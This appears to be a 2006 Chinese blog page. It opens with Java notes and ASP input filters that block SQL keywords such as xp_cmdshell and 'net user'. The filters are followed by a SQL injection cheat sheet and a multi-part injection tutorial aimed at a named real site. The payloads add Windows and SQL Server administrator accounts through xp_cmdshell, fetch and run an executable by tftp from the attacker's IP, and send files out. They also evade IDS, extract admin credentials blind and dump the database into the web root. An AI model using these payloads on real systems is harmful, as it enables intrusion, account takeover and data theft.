<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    posts - 23,comments - 12,trackbacks - 0
    第二章 Java編程環(huán)境
    2.1安裝java
    1、java工具包http://java.sun.com/j2se/1.4/install-windows.html
    2、設(shè)置執(zhí)行環(huán)境(windows 2000)
    PATH=c:\jdk\bin;
    3、安裝庫(kù)源文件和文檔
    jar xvf src.jar
    jar xvf j2sdkversion-doc.zip

    第一個(gè)java例子
    eg:Weclome.java

    public class Welcome
    {
    public static void main(String[] args)
    {
    String[] greeting=new String[3];
    greeting[0]="Welcome to Core Java";
    greeting[1]="by Car Horstman";
    greeting[2]="and Gary Cornell";
    for ( int i=0;i<greeting.length;i++)
    System.out.println(greeting[i]);
    }
    }

    posted @ 2006-06-23 13:25 my java 閱讀(875) | 評(píng)論 (3)編輯 收藏
    1、獲得表單中文本框的數(shù)據(jù):
    mySmartUpload.getRequest().getParameter("applyusrname")
    java.util.Enumeration e = mySmartUpload.getRequest().getParameterNames();
    posted @ 2006-06-23 09:34 my java 閱讀(743) | 評(píng)論 (0)編輯 收藏

    <%
    function sqlcheck(Str,errtype)
    if Instr(LCase(Str),"select ") > 0 or Instr(LCase(Str),"insert ") > 0 or Instr(LCase(Str),"delete ") > 0 or Instr(LCase(Str),"delete from ") > 0 or Instr(LCase(Str),"count(") > 0 or Instr(LCase(Str),"drop table") > 0 or Instr(LCase(Str),"update ") > 0 or Instr(LCase(Str),"truncate ") > 0 or Instr(LCase(Str),"asc(") > 0 or Instr(LCase(Str),"mid(") > 0 or Instr(LCase(Str),"char(") > 0 or Instr(LCase(Str),"xp_cmdshell") > 0 or Instr(LCase(Str),"exec master") > 0 or Instr(LCase(Str),"net localgroup administrators") > 0  or Instr(LCase(Str),"and ") > 0 or Instr(LCase(Str),"net user") > 0 or Instr(LCase(Str),"or ") > 0 then
     Response.write("<script language=javascript>" & vbcrlf & "window.location.href ='ShowError.asp?errtype=" & errtype & "'" & vbcrlf & "</script>")
     Response.End
    end if
    Str=Replace(Str,"_","")     '過濾SQL注入_
    Str=Replace(Str,"*","")     '過濾SQL注入*
    Str=Replace(Str," ","")     '過濾SQL注入空格
    Str=Replace(Str,chr(34),"")   '過濾SQL注入"
    Str=Replace(Str,chr(39),"")            '過濾SQL注入'
    Str=Replace(Str,chr(91),"")            '過濾SQL注入[
    Str=Replace(Str,chr(93),"")            '過濾SQL注入]
    Str=Replace(Str,chr(37),"")            '過濾SQL注入%
    Str=Replace(Str,chr(58),"")            '過濾SQL注入:
    Str=Replace(Str,chr(59),"")            '過濾SQL注入;
    Str=Replace(Str,chr(43),"")            '過濾SQL注入+
    Str=Replace(Str,"{","")            '過濾SQL注入{
    Str=Replace(Str,"}","")            '過濾SQL注入}
    sqlcheck=Str            '返回經(jīng)過上面字符替換后的Str
    end function
    %>


    function SafeRequest(ParaName,ParaType)
    '--- 傳入?yún)?shù) ---
    'ParaName:參數(shù)名稱-字符型
    'ParaType:參數(shù)類型-數(shù)字型(1表示以上參數(shù)是數(shù)字,0表示以上參數(shù)為字符)

    Dim ParaValue
    ParaValue=Request(ParaName)
    If ParaType=1 then
    If not isNumeric(ParaValue) then
    Response.write "參數(shù)" & ParaName & "必須為數(shù)字型!"
    Response.end
    End if
    Else
    ParaValue=replace(ParaValue,"'","''")
    End if
    SafeRequest=ParaValue
    End function


    Function SafeRequest(ParaValue,ParaType)
           '--- 傳入?yún)?shù) ---
           'ParaName:參數(shù)名稱-字符型
           'ParaType:參數(shù)類型-數(shù)字型(1表示以上參數(shù)是數(shù)字,0表示以上參數(shù)為字符)

           'Dim ParaValue
           'ParaValue=Request(ParaName)函數(shù)里面是不要加引號(hào)
           If ParaType=1 then
                  If not isNumeric(ParaValue) then
                       Response.write " 參數(shù)" & ParaName & "必須為數(shù)字型!"
                         Response.end
                  End if
           Else
                  ParaValue=replace(ParaValue,"'","")
         ParaValue=replace(ParaValue,";and 1=1","")
         ParaValue=replace(ParaValue,";and 1=2","")
         ParaValue=replace(ParaValue,";and user>0","")
         ParaValue=replace(ParaValue,">","")
         ParaValue=replace(ParaValue,"<","")
         ParaValue=replace(ParaValue,"=","")
         ParaValue=replace(ParaValue,"count","")
         ParaValue=replace(ParaValue,"select","")
         ParaValue=replace(ParaValue,"drop","")
         ParaValue=replace(ParaValue,"delect","")
         ParaValue=replace(ParaValue,"insert","")
         ParaValue=replace(ParaValue,"execute","")
         ParaValue=replace(ParaValue,"update","")    
         ParaValue=replace(ParaValue,"mid","")
         ParaValue=replace(ParaValue,"exec","")
         ParaValue=replace(ParaValue,"master","")
         ParaValue=replace(ParaValue,"char","")
         ParaValue=replace(ParaValue,"declare","")
         ParaValue=replace(ParaValue,"*","")
         ParaValue=replace(ParaValue,"%","")
         ParaValue=replace(ParaValue,"chr","")
         ParaValue=replace(ParaValue,"truncate","")
           End if
           SafeRequest=ParaValue
    End function
    '調(diào)用方式
    DirID=Request("DirID")'///數(shù)據(jù)目錄名稱參數(shù)/無則表示全部數(shù)據(jù)
    DirID=SafeRequest(DirID,1)


    Dim SQL_inbreakstr
    SQL_inbreakstr = "'|or|and|exec|insert|select|delete|update|drop|count|*|%|chr|mid|master|truncate|char|declare"
    SQL_inbreak = split(SQL_inbreakstr,"|")
    R_Q=Request.QueryString
    R_F=Request.Form
    IF R_Q<>"" THEN
     For i=0 To Ubound(SQL_inbreak)
      IF instr(R_Q,SQL_inbreak(i))>0 THEN
       Response.Write "*****"
                               Response.End
      END IF
     Next
    End IF

    IF R_F<>"" THEN
     For i=0 To Ubound(SQL_inbreak)
      IF instr(R_F,SQL_inbreak(i))>0 THEN
       Response.Write "*****"
                               Response.End
      END IF
     Next
    END IF


    <%
    '--------版權(quán)說明------------------
    'SQL通用防注入程序 V2.0 完美版
    '本程序由 火狐-楓知秋 獨(dú)立開發(fā)
    '對(duì)本程序有任何疑問請(qǐng)聯(lián)系本人
    'QQ:613548

    '--------定義部份------------------
    Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr
    '自定義需要過濾的字串,用 "楓" 分隔
    Fy_In = "'楓;楓and楓exec楓insert楓select楓delete楓update楓count楓*楓%楓chr楓mid楓master楓truncate楓char楓declare"
    '----------------------------------
    %>

    <%
    Fy_Inf = split(Fy_In,"楓")
    '--------POST部份------------------
    If Request.Form<>"" Then
    For Each Fy_Post In Request.Form

    For Fy_Xh=0 To Ubound(Fy_Inf)
    If Instr(LCase(Request.Form(Fy_Post)),Fy_Inf(Fy_Xh))<>0 Then
    '--------寫入數(shù)據(jù)庫(kù)-------頭--------
    Fy_dbstr="DBQ="+server.mappath("SqlIn.mdb")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"
    Set Fy_db=Server.CreateObject("ADODB.CONNECTION")
    Fy_db.open Fy_dbstr
    Fy_db.Execute("insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','POST','"&Fy_Post&"','"&replace(Request.Form(Fy_Post),"'","''")&"')")
    Fy_db.close
    Set Fy_db = Nothing
    '--------寫入數(shù)據(jù)庫(kù)-------尾--------

    Response.Write "<Script Language=JavaScript>alert('楓網(wǎng)SQL通用防注入系統(tǒng)提示↓\n\n請(qǐng)不要在參數(shù)中包含非法字符嘗試注入!\n\nHTTP://WwW.WrSkY.CoM  系統(tǒng)版本:V2.0(ASP)完美版');</Script>"
    Response.Write "非法操作!系統(tǒng)做了如下記錄↓<br>"
    Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
    Response.Write "操作時(shí)間:"&Now&"<br>"
    Response.Write "操作頁(yè)面:"&Request.ServerVariables("URL")&"<br>"
    Response.Write "提交方式:POST<br>"
    Response.Write "提交參數(shù):"&Fy_Post&"<br>"
    Response.Write "提交數(shù)據(jù):"&Request.Form(Fy_Post)
    Response.End
    End If
    Next

    Next
    End If
    '----------------------------------

    '--------GET部份-------------------
    If Request.QueryString<>"" Then
    For Each Fy_Get In Request.QueryString

    For Fy_Xh=0 To Ubound(Fy_Inf)
    If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then
    ''--------寫入數(shù)據(jù)庫(kù)-------頭--------
    Fy_dbstr="DBQ="+server.mappath("SqlIn.mdb")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"
    Set Fy_db=Server.CreateObject("ADODB.CONNECTION")
    Fy_db.open Fy_dbstr
    Fy_db.Execute("insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','GET','"&Fy_Get&"','"&replace(Request.QueryString(Fy_Get),"'","''")&"')")
    Fy_db.close
    Set Fy_db = Nothing
    '--------寫入數(shù)據(jù)庫(kù)-------尾--------

    Response.Write "<Script Language=JavaScript>alert('楓網(wǎng)SQL通用防注入系統(tǒng)提示↓\n\n請(qǐng)不要在參數(shù)中包含非法字符嘗試注入!\n\nHTTP://WwW.WrSkY.CoM  系統(tǒng)版本:V2.0(ASP)完美版');</Script>"
    Response.Write "非法操作!系統(tǒng)做了如下記錄↓<br>"
    Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
    Response.Write "操作時(shí)間:"&Now&"<br>"
    Response.Write "操作頁(yè)面:"&Request.ServerVariables("URL")&"<br>"
    Response.Write "提交方式:GET<br>"
    Response.Write "提交參數(shù):"&Fy_Get&"<br>"
    Response.Write "提交數(shù)據(jù):"&Request.QueryString(Fy_Get)
    Response.End
    End If
    Next
    Next
    End If
    '----------------------------------
    %>

    可以防止所有得sql注入:
    Function SafeRequest(ParaName,ParaType)
     '--- 防止SQL注入 ---
     'ParaName:參數(shù)名稱-字符型
     'ParaType:參數(shù)類型-數(shù)字型(1表示以上參數(shù)是數(shù)字,0表示以上參數(shù)為字符)
     Dim ParaValue
     ParaValue=Request(ParaName)
     If ParaType=1 then
      If not isNumeric(ParaValue) then
       Response.write "<br><br><br><center><font color=red>參數(shù)" & ParaName & "必須為數(shù)字型!"
       Response.end
      End if
     Else
      ParaValue=replace(ParaValue,"'","''")
     End if
     SafeRequest=ParaValue
    End function
    來源:
    http://www.yesky.com/305/1899305.shtml

    posted @ 2006-02-05 10:23 my java 閱讀(639) | 評(píng)論 (0)編輯 收藏

    [獲得數(shù)據(jù)表名][將字段值更新為表名,再想法讀出這個(gè)字段的值就可得到表名]
    update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一個(gè)加一個(gè)]) [ where 條件]


    [獲得數(shù)據(jù)表字段名][將字段值更新為字段名,再想法讀出這個(gè)字段的值就可得到字段名]
    update 表名 set 字段=(select top 1 col_name(object_id('要查詢的數(shù)據(jù)表名'),字段列如:1) [ where 條件]


    也可以這樣更簡(jiǎn)捷的獲取表名:


    select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)

    通過SQLSERVER注入漏洞建數(shù)據(jù)庫(kù)管理員帳號(hào)和系統(tǒng)管理員帳號(hào)[當(dāng)前帳號(hào)必須是SYSADMIN組]


    news.asp?id=2;exec master.dbo.sp_addlogin test,test;-- //添加數(shù)據(jù)庫(kù)用戶用戶test,密碼為test
    news.asp?id=2;exec master.dbo.sp_password test,123456,test;-- //如果想改密碼,則用這句(將test的密碼改為123456)
    news.asp?id=2;exec master.dbo.sp_addsrvrolemember test,sysadmin;-- //將test加到sysadmin組,這個(gè)組的成員可執(zhí)行任何操作
    news.asp?id=2;exec master.dbo.xp_cmdshell 'net user test test /add';-- //添加系統(tǒng)用戶test,密碼為test
    news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators test /add';-- //將系統(tǒng)用戶test提升為管理員


    這樣,你在他的數(shù)據(jù)庫(kù)和系統(tǒng)內(nèi)都留下了test管理員賬號(hào)了

    下面是如何從你的服器下載文件file.exe后運(yùn)行它[前提是你必須將你的電腦設(shè)為TFTP服務(wù)器,將69端口打開]


    id=2; exec master.dbo.xp_cmdshell 'tftp –i 你的IP get file.exe';--


    然后運(yùn)行這個(gè)文件:
    id=2; exec master.dbo.xp_cmdshell 'file.exe';--


    下載服務(wù)器的文件file2.doc到本地TFTP服務(wù)器[文件必須存在]:


    id=2; exec master.dbo.xp_cmdshell 'tftp –i 你的IP Put file2.doc';--


    繞過IDS的檢測(cè)[使用變量]
    declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
    declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\'

    posted @ 2006-02-05 10:04 my java 閱讀(290) | 評(píng)論 (0)編輯 收藏
    隨著B/S模式應(yīng)用開發(fā)的發(fā)展,使用這種模式編寫應(yīng)用程序的程序員也越來越多。但是由于這個(gè)行業(yè)的入門門檻不高,程序員的水平及經(jīng)驗(yàn)也參差不齊,相當(dāng)大一部分程序員在編寫代碼的時(shí)候,沒有對(duì)用戶輸入數(shù)據(jù)的合法性進(jìn)行判斷,使應(yīng)用程序存在安全隱患。用戶可以提交一段數(shù)據(jù)庫(kù)查詢代碼,根據(jù)程序返回的結(jié)果,獲得某些他想得知的數(shù)據(jù),這就是所謂的SQL Injection,即SQL注入。

    SQL注入是從正常的WWW端口訪問,而且表面看起來跟一般的Web頁(yè)面訪問沒什么區(qū)別,所以目前市面的防火墻都不會(huì)對(duì)SQL注入發(fā)出警報(bào),如果管理員沒查看IIS*志的習(xí)慣,可能被入侵很長(zhǎng)時(shí)間都不會(huì)發(fā)覺。

    但是,SQL注入的手法相當(dāng)靈活,在注入的時(shí)候會(huì)碰到很多意外的情況。能不能根據(jù)具體情況進(jìn)行分析,構(gòu)造巧妙的SQL語句,從而成功獲取想要的數(shù)據(jù),是高手與“菜鳥”的根本區(qū)別。

    根據(jù)國(guó)情,國(guó)內(nèi)的網(wǎng)站用ASP Access或SQLServer的占70%以上,PHP MySQ占L20%,其他的不足10%。在本文,我們從分入門、進(jìn)階至高級(jí)講解一下ASP注入的方法及技巧,PHP注入的文章由NB聯(lián)盟的另一位朋友zwell撰寫,希望對(duì)安全工作者和程序員都有用處。了解ASP注入的朋友也請(qǐng)不要跳過入門篇,因?yàn)椴糠秩藢?duì)注入的基本判斷方法還存在誤區(qū)。大家準(zhǔn)備好了嗎?Let's Go...

    入 門 篇

    如果你以前沒試過SQL注入的話,那么第一步先把IE菜單=>工具=>Internet選項(xiàng)=>高級(jí)=>顯示友好HTTP 錯(cuò)誤信息前面的勾去掉。否則,不論服務(wù)器返回什么錯(cuò)誤,IE都只顯示為HTTP 500服務(wù)器錯(cuò)誤,不能獲得更多的提示信息。

    第一節(jié)、SQL注入原理

    以下我們從一個(gè)網(wǎng)www.19cn.com開始(注:本文發(fā)表前已征得該站站長(zhǎng)同意,大部分都是真實(shí)數(shù)據(jù))。

    在網(wǎng)站首頁(yè)上,有名為“IE不能打開新窗口的多種解決方法”的鏈接,地址為:http://www.19cn.com/showdetail.asp?id=49,我們?cè)谶@個(gè)地址后面加上單引號(hào)’,服務(wù)器會(huì)返回下面的錯(cuò)誤提示:

    Microsoft JET Database Engine 錯(cuò)誤 '80040e14'字符串的語法錯(cuò)誤 在查詢表達(dá)式 'ID=49'' 中。

    /showdetail.asp,行8

    從這個(gè)錯(cuò)誤提示我們能看出下面幾點(diǎn):

    1.網(wǎng)站使用的是Access數(shù)據(jù)庫(kù),通過JET引擎連接數(shù)據(jù)庫(kù),而不是通過ODBC。

    2. 程序沒有判斷客戶端提交的數(shù)據(jù)是否符合程序要求。

    3. 該SQL語句所查詢的表中有一名為ID的字段。

    從上面的例子我們可以知道,SQL注入的原理,就是從客戶端提交特殊的代碼,從而收集程序及服務(wù)器的信息,從而獲取你想到得到的資料。

    第二節(jié)、判斷能否進(jìn)行SQL注入

    看完第一節(jié),有一些人會(huì)覺得:我也是經(jīng)常這樣測(cè)試能否注入的,這不是很簡(jiǎn)單嗎?

    其實(shí),這并不是最好的方法,為什么呢?
    首先,不一定每臺(tái)服務(wù)器的IIS都返回具體錯(cuò)誤提示給客戶端,如果程序中加了cint(參數(shù))之類語句的話,SQL注入是不會(huì)成功的,但服務(wù)器同樣會(huì)報(bào)錯(cuò),具體提示信息為處理 URL 時(shí)服務(wù)器上出錯(cuò)。請(qǐng)和系統(tǒng)管理員聯(lián)絡(luò)。

    其次,部分對(duì)SQL注入有一點(diǎn)了解的程序員,認(rèn)為只要把單引號(hào)過濾掉就安全了,這種情況不為少數(shù),如果你用單引號(hào)測(cè)試,是測(cè)不到注入點(diǎn)的那么,什么樣的測(cè)試方法才是比較準(zhǔn)確呢?答案如下:

    http://www.19cn.com/showdetail.asp?id=49

    http://www.19cn.com/showdetail.asp?id=49 ;;and 1=1

    http://www.19cn.com/showdetail.asp?id=49 ;;and 1=2

    這就是經(jīng)典的1=1、1=2測(cè)試法了,怎么判斷呢?看看上面三個(gè)網(wǎng)址返回的結(jié)果就知道了:

    可以注入的表現(xiàn):

    ① 正常顯示(這是必然的,不然就是程序有錯(cuò)誤了)

    ② 正常顯示,內(nèi)容基本與①相同

    ③ 提示BOF或EOF(程序沒做任何判斷時(shí))、或提示找不到記錄(判斷了rs.eof時(shí))、或顯示內(nèi)容為空(程序加了on error resume next)不可以注入就比較容易判斷了,①同樣正常顯示,②和③一般都會(huì)有程序定義的錯(cuò)誤提示,或提示類型轉(zhuǎn)換時(shí)出錯(cuò)。

      當(dāng)然,這只是傳入?yún)?shù)是數(shù)字型的時(shí)候用的判斷方法,實(shí)際應(yīng)用的時(shí)候會(huì)有字符型和搜索型參數(shù),我將在中級(jí)篇的“SQL注入一般步驟”再做分析。

    第三節(jié)、判斷數(shù)據(jù)庫(kù)類型及注入方法

    不同的數(shù)據(jù)庫(kù)的函數(shù)、注入方法都是有差異的,所以在注入之前,我們還要判斷一下數(shù)據(jù)庫(kù)的類型。一般ASP最常搭配的數(shù)據(jù)庫(kù)是Access和SQLServer,網(wǎng)上超過99%的網(wǎng)站都是其中之一。

    怎么讓程序告訴你它使用的什么數(shù)據(jù)庫(kù)呢?來看看:

    SQLServer有一些系統(tǒng)變量,如果服務(wù)器IIS提示沒關(guān)閉,并且SQLServer返回錯(cuò)誤提示的話,那可以直接從出錯(cuò)信息獲取,方法如下:

    http://www.19cn.com/showdetail.asp?id=49;;and user>0

    這句語句很簡(jiǎn)單,但卻包含了SQLServer特有注入方法的精髓,我自己也是在一次無意的測(cè)試中發(fā)現(xiàn)這種效率極高的猜解方法。讓我看來看看它的含義:首先,前面的語句是正常的,重點(diǎn)在anduser>0,我們知道,user是SQLServer的一個(gè)內(nèi)置變量,它的值是當(dāng)前連接的用戶名,類型為nvarchar。拿一個(gè)nvarchar的值跟int的數(shù)0比較,系統(tǒng)會(huì)先試圖將nvarchar的值轉(zhuǎn)成int型,當(dāng)然,轉(zhuǎn)的過程中肯定會(huì)出錯(cuò),SQLServer的出錯(cuò)提示是:將nvarchar值 ”abc” 轉(zhuǎn)換數(shù)據(jù)類型為 int 的列時(shí)發(fā)生語法錯(cuò)誤,呵呵,abc正是變量user的值,這樣,不廢吹灰之力就拿到了數(shù)據(jù)庫(kù)的用戶名。在以后的篇幅里,大家會(huì)看到很多用這種方法的語句。

    順便說幾句,眾所周知,SQLServer的用戶sa是個(gè)等同Adminstrators權(quán)限的角色,拿到了sa權(quán)限,幾乎肯定可以拿到主機(jī)的Administrator了。上面的方法可以很方便的測(cè)試出是否是用sa登錄,要注意的是:如果是sa登錄,提示是將”dbo”轉(zhuǎn)換成int的列發(fā)生錯(cuò)誤,而不是”sa”。

    如果服務(wù)器IIS不允許返回錯(cuò)誤提示,那怎么判斷數(shù)據(jù)庫(kù)類型呢?我們可以從Access和SQLServer和區(qū)別入手,Access和SQLServer都有自己的系統(tǒng)表,比如存放數(shù)據(jù)庫(kù)中所有對(duì)象的表,Access是在系統(tǒng)表[msysobjects]中,但在Web環(huán)境下讀該表會(huì)提示“沒有權(quán)限”,SQLServer是在表[sysobjects]中,在Web環(huán)境下

    可正常讀取。

    在確認(rèn)可以注入的情況下,使用下面的語句:

    http://www.19cn.com/showdetail.asp?id=49;;and(select count(*) from sysobjects)>0

    http://www.19cn.com/showdetail.asp?id=49;;and(select count(*) from msysobjects)>0

    如果數(shù)據(jù)庫(kù)是SQLServer,那么第一個(gè)網(wǎng)址的頁(yè)面與原頁(yè)面http://www.19cn.com/showdetail.asp?id=49是大致相同的;而第二個(gè)網(wǎng)址,由于找不到表msysobjects,會(huì)提示出錯(cuò),就算程序有容錯(cuò)處理,頁(yè)面也與原頁(yè)面完全不同。

    如果數(shù)據(jù)庫(kù)用的是Access,那么情況就有所不同,第一個(gè)網(wǎng)址的頁(yè)面與原頁(yè)面完全不同;第二個(gè)網(wǎng)址,則視乎數(shù)據(jù)庫(kù)設(shè)置是否允許讀該系統(tǒng)表,一般來說是不允許的,所以與原網(wǎng)址也是完全不同。大多數(shù)情況下,用第一個(gè)網(wǎng)址就可以得知系統(tǒng)所用的數(shù)據(jù)庫(kù)類型,第二個(gè)網(wǎng)址只作為開啟IIS錯(cuò)誤提示時(shí)的驗(yàn)證。

    進(jìn) 階 篇

    在入門篇,我們學(xué)會(huì)了SQL注入的判斷方法,但真正要拿到網(wǎng)站的保密內(nèi)容,是遠(yuǎn)遠(yuǎn)不夠的。接下來,我們就繼續(xù)學(xué)習(xí)如何從數(shù)據(jù)庫(kù)中獲取想要獲得的內(nèi)容,首先,我們先看看SQL注入的一般步驟:

    第一節(jié)、SQL注入的一般步驟

    首先,判斷環(huán)境,尋找注入點(diǎn),判斷數(shù)據(jù)庫(kù)類型,這在入門篇已經(jīng)講過了。

    其次,根據(jù)注入?yún)?shù)類型,在腦海中重構(gòu)SQL語句的原貌,按參數(shù)類型主要分為下面三種:

    (A) ID=49 這類注入的參數(shù)是數(shù)字型,SQL語句原貌大致如下:
    Select * from 表名 where 字段=49
    注入的參數(shù)為ID=49 And [查詢條件],即是生成語句:
    Select * from 表名 where 字段=49 And [查詢條件]

    (B) Class=連續(xù)劇 這類注入的參數(shù)是字符型,SQL語句原貌大致概如下:
    Select * from 表名 where 字段=’連續(xù)劇’
    注入的參數(shù)為Class=連續(xù)劇’ and [查詢條件] and ‘’=’ ,即是生成語句:
    Select * from 表名 where 字段=’連續(xù)劇’ and [查詢條件] and ‘’=’’

    (C) 搜索時(shí)沒過濾參數(shù)的,如keyword=關(guān)鍵字,SQL語句原貌大致如下:
    Select * from 表名 where 字段like ’%關(guān)鍵字%’
    注入的參數(shù)為keyword=’ and [查詢條件] and ‘%’=’, 即是生成語句:
    Select * from 表名 where字段like ’%’ and [查詢條件] and ‘%’=’%’

    接著,將查詢條件替換成SQL語句,猜解表名,例如:

    ID=49 And (Select Count(*) from Admin)>=0

    如果頁(yè)面就與ID=49的相同,說明附加條件成立,即表Admin存在,反之,即不存在(請(qǐng)牢記這種方法)。

    如此循環(huán),直至猜到表名為止。

    表名猜出來后,將Count(*)替換成Count(字段名),用同樣的原理猜解字段名。

    有人會(huì)說:這里有一些偶然的成分,如果表名起得很復(fù)雜沒規(guī)律的,那根本就沒得玩下去了。說得很對(duì),這世界根本就不存在100%成功的黑客技術(shù),蒼蠅不叮無縫的蛋,無論多技術(shù)多高深的黑客,都是因?yàn)閯e人的程序?qū)懙貌粐?yán)密或使用者保密意識(shí)不夠,才有得下手。

    有點(diǎn)跑題了,話說回來,對(duì)于SQLServer的庫(kù),還是有辦法讓程序告訴我們表名及字段名的,我們?cè)诟呒?jí)篇中會(huì)做介紹。

    最后,在表名和列名猜解成功后,再使用SQL語句,得出字段的值,下面介紹一種最常用的方法-Ascii逐字解碼法,雖然這種方法速度很慢,但肯定是可行的方法。

    我們舉個(gè)例子,已知表Admin中存在username字段,首先,我們?nèi)〉谝粭l記錄,測(cè)試長(zhǎng)度:

    http://www.19cn.com/showdetail.asp?id=49;;and (select top 1 len(username) from Admin)>0

    先說明原理:如果top 1的username長(zhǎng)度大于0,則條件成立;接著就是>1、>2、>3這樣測(cè)試下去,一直到條件不成立為止,比如>7成立,>8不成立,就是len(username)=8

      當(dāng)然沒人會(huì)笨得從0,1,2,3一個(gè)個(gè)測(cè)試,怎么樣才比較快就看各自發(fā)揮了。在得到username的長(zhǎng)度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII碼,比如:

    id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

    同樣也是用逐步縮小范圍的方法得到第1位字符的ASCII碼,注意的是英文和數(shù)字的ASCII碼在1-128之間,可以用折半法加速猜解,如果寫成程序測(cè)試,效率會(huì)有極大的提高。

    第二節(jié)、SQL注入常用函數(shù)

    有SQL語言基礎(chǔ)的人,在SQL注入的時(shí)候成功率比不熟悉的人高很多。我們有必要提高一下自己的SQL水平,特別是一些常用的函數(shù)及命令。

    Access:asc(字符) SQLServer:unicode(字符)

    作用:返回某字符的ASCII碼

    Access:chr(數(shù)字) SQLServer:nchar(數(shù)字)

    作用:與asc相反,根據(jù)ASCII碼返回字符

    Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)

    作用:返回字符串從N個(gè)字符起長(zhǎng)度為L(zhǎng)的子字符串,即N到N L之間的字符串

    Access:abc(數(shù)字) SQLServer:abc (數(shù)字)

    作用:返回?cái)?shù)字的絕對(duì)值(在猜解漢字的時(shí)候會(huì)用到)

    Access:A between B And C SQLServer:A between B And C

    作用:判斷A是否界于B與C之間

    第三節(jié)、中文處理方法

    在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其實(shí)只要對(duì)中文的編碼有所了解,“中文恐懼癥”很快可以克服。

    先說一點(diǎn)常識(shí):

    Access中,中文的ASCII碼可能會(huì)出現(xiàn)負(fù)數(shù),取出該負(fù)數(shù)后用abs()取絕對(duì)值,漢字字符不變。

    SQLServer中,中文的ASCII為正數(shù),但由于是UNICODE的雙位編碼,不能用函數(shù)ascii()取得ASCII碼,必須用函數(shù)unicode ()返回unicode值,再用nchar函數(shù)取得對(duì)應(yīng)的中文字符。


    了解了上面的兩點(diǎn)后,是不是覺得中文猜解其實(shí)也跟英文差不多呢?除了使用的函數(shù)要注意、猜解范圍大一點(diǎn)外,方法是沒什么兩樣的。

    高 級(jí) 篇

    看完入門篇和進(jìn)階篇后,稍加練習(xí),破解一般的網(wǎng)站是沒問題了。但如果碰到表名列名猜不到,或程序作者過濾了一些特殊字符,怎么提高注入的成功率?怎么樣提高猜解效率?請(qǐng)大家接著往下看高級(jí)篇。

    第一節(jié)、利用系統(tǒng)表注入SQLServer數(shù)據(jù)庫(kù)

    SQLServer是一個(gè)功能強(qiáng)大的數(shù)據(jù)庫(kù)系統(tǒng),與操作系統(tǒng)也有緊密的聯(lián)系,這給開發(fā)者帶來了很大的方便,但另一方面,也為注入者提供了一個(gè)跳板,我們先來看看幾個(gè)具體的例子:

    http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

      分號(hào);在SQLServer中表示隔開前后兩句語句,--表示后面的語句為注釋,所以,這句語句在SQLServer中將被分成兩句執(zhí)行,先是Select出ID=1的記錄,然后執(zhí)行存儲(chǔ)過程xp_cmdshell,這個(gè)存儲(chǔ)過程用于調(diào)用系統(tǒng)命令,于是,用net命令新建了用戶名為name、密碼為password的windows的帳號(hào),接著:

    http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators/add”--

      將新建的帳號(hào)name加入管理員組,不用兩分鐘,你已經(jīng)拿到了系統(tǒng)最高權(quán)限!當(dāng)然,這種方法只適用于用sa連接數(shù)據(jù)庫(kù)的情況,否則,是沒有權(quán)限調(diào)用xp_cmdshell的。

      ③ http://Site/url.asp?id=1 ;;and db_name()>0

    前面有個(gè)類似的例子and user>0,作用是獲取連接用戶名,db_name()是另一個(gè)系統(tǒng)變量,返回的是連接的數(shù)據(jù)庫(kù)名。

    http://Site/url.asp?id=1;backup database 數(shù)據(jù)庫(kù)名 to disk=’c:\inetpub\wwwroot\1.db’;--這是相當(dāng)狠的一招,從③拿到的數(shù)據(jù)庫(kù)名,加上某些IIS出錯(cuò)暴露出的絕對(duì)路徑,將數(shù)據(jù)庫(kù)備份到Web目錄下面,再用HTTP把整個(gè)數(shù)據(jù)庫(kù)就完完整整的下載回來,所有的管理員及用戶密碼都一覽無遺!在不知道絕對(duì)路徑的時(shí)候,還可以備份到網(wǎng)絡(luò)地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。

      ⑤ http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’and status>0)>0

    前面說過,sysobjects是SQLServer的系統(tǒng)表,存儲(chǔ)著所有的表名、視圖、約束及其它對(duì)象,xtype=’U’and status>0,表示用戶建立的表名,上面的語句將第一個(gè)表名取出,與0比較大小,讓報(bào)錯(cuò)信息把表名暴露出來。第二、第三個(gè)表名怎么獲取?還是留給我們聰明的讀者思考吧。

    http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0

    從⑤拿到表名后,用object_id(‘表名’)獲取表名對(duì)應(yīng)的內(nèi)部ID,col_name(表名ID,1)代表該表的第1個(gè)字段名,將1換成2,3,4...就可以逐個(gè)獲取所猜解表里面的字段名。

      以上6點(diǎn)是我研究SQLServer注入半年多以來的心血結(jié)晶,可以看出,對(duì)SQLServer的了解程度,直接影響著成功率及猜解速度。在我研究SQLServer注入之后,我在開發(fā)方面的水平也得到很大的提高,呵呵,也許安全與開發(fā)本來就是相輔相成的吧。

